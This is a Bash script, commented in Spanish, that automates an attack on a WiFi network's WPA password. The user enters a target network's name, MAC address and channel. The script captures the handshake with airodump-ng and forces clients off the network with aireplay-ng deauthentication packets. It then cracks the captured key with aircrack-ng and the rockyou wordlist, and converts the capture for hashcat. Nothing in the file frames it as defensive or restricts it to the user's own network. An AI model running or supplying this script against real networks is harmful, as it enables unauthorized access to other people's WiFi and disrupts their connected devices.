#!/bin/bash

# ========= CONFIGURACIÓN =========
INTERFAZ="wlan0"
INTERFAZ_MON="${INTERFAZ}mon"
SALIDA_DIR="/mnt/dw"
TIMESTAMP=$(date +%F_%H-%M-%S)
CAPTURA="$SALIDA_DIR/captura_handshake_$TIMESTAMP"
DICC="/usr/share/wordlists/rockyou.txt"

# ========= CREAR DIRECTORIO =========
if [ ! -d "$SALIDA_DIR" ]; then
    echo "El directorio $SALIDA_DIR no existe. Creándolo..."
    mkdir -p "$SALIDA_DIR"
fi

# ========= VERIFICAR O DESCARGAR ROCKYOU =========
function verificar_diccionario() {
    if [ -f "$DICC" ]; then
        echo "Diccionario rockyou.txt encontrado."
        return
    fi

    echo "Diccionario $DICC no encontrado."

    if [ -f "${DICC}.gz" ]; then
        echo "Archivo comprimido encontrado. Descomprimiendo..."
        sudo gunzip "${DICC}.gz"
        return
    fi

    echo "Intentando descargar desde GitHub (esto puede tardar)..."
    mkdir -p "$(dirname "$DICC")"
    sudo curl -L -o "$DICC" https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

    if [ -f "$DICC" ]; then
        echo "Diccionario descargado con éxito en $DICC"
    else
        echo "No se pudo obtener el diccionario. Cancela el proceso."
        exit 1
    fi
}

# ========= FUNCIONES DE ATAQUE =========

function activar_modo_monitor() {
    echo "Activando modo monitor en $INTERFAZ..."
    sudo airmon-ng start "$INTERFAZ"
}

function escanear_redes() {
    echo "Escaneando redes WiFi (Ctrl+C para detener)..."
    sleep 2
    sudo airodump-ng "$INTERFAZ_MON"
}

function capturar_handshake() {
    echo "Ingrese los datos de la red objetivo:"
    read -p "  ESSID (nombre de red): " ESSID
    read -p "  BSSID (MAC del AP): " BSSID
    read -p "  Canal (CH): " CH

    echo "Iniciando captura del handshake para $ESSID..."
    sudo airodump-ng -c "$CH" --bssid "$BSSID" -w "$CAPTURA" "$INTERFAZ_MON" &
    AIDUMP_PID=$!
    sleep 5
}

function desautenticar_clientes() {
    echo "Enviando paquetes de desautenticación..."
    sudo aireplay-ng --deauth 10 -a "$BSSID" "$INTERFAZ_MON"
}

function detener_airodump() {
    echo "Deteniendo captura..."
    kill "$AIDUMP_PID"
    wait "$AIDUMP_PID" 2>/dev/null
}

function verificar_handshake() {
    echo "Verificando handshake..."
    aircrack-ng "${CAPTURA}-01.cap" | tee "$CAPTURA-verificacion.txt"
}

function atacar_handshake() {
    echo "Atacando el handshake con diccionario..."
    aircrack-ng "${CAPTURA}-01.cap" -w "$DICC" | tee "$CAPTURA-ataque.txt"
}

function convertir_para_hashcat() {
    echo "Convirtiendo handshake para uso con hashcat..."
    sudo apt install -y hcxtools
    hcxpcapngtool -o "$CAPTURA.hc22000" "${CAPTURA}-01.cap"
    echo "⚙️ Puedes ahora usar hashcat así:"
    echo "hashcat -m 22000 $CAPTURA.hc22000 $DICC --force"
}

function limpiar() {
    echo "Limpiando modo monitor..."
    sudo airmon-ng stop "$INTERFAZ_MON"
}

# ========= EJECUCIÓN =========

verificar_diccionario
activar_modo_monitor
escanear_redes
capturar_handshake
desautenticar_clientes

read -p "Presiona ENTER para detener la captura cuando creas que se ha capturado el handshake..."
detener_airodump
verificar_handshake

read -p "¿Deseas intentar romper la clave con Aircrack-ng? (s/n): " RESP
if [[ "$RESP" == "s" || "$RESP" == "S" ]]; then
    atacar_handshake
fi

read -p "¿Deseas convertir el handshake para Hashcat? (s/n): " RESP2
if [[ "$RESP2" == "s" || "$RESP2" == "S" ]]; then
    convertir_para_hashcat
fi

limpiar

echo ""
echo "✅ Todo finalizado. Archivos guardados en: $SALIDA_DIR"
ls -lh "$CAPTURA"*
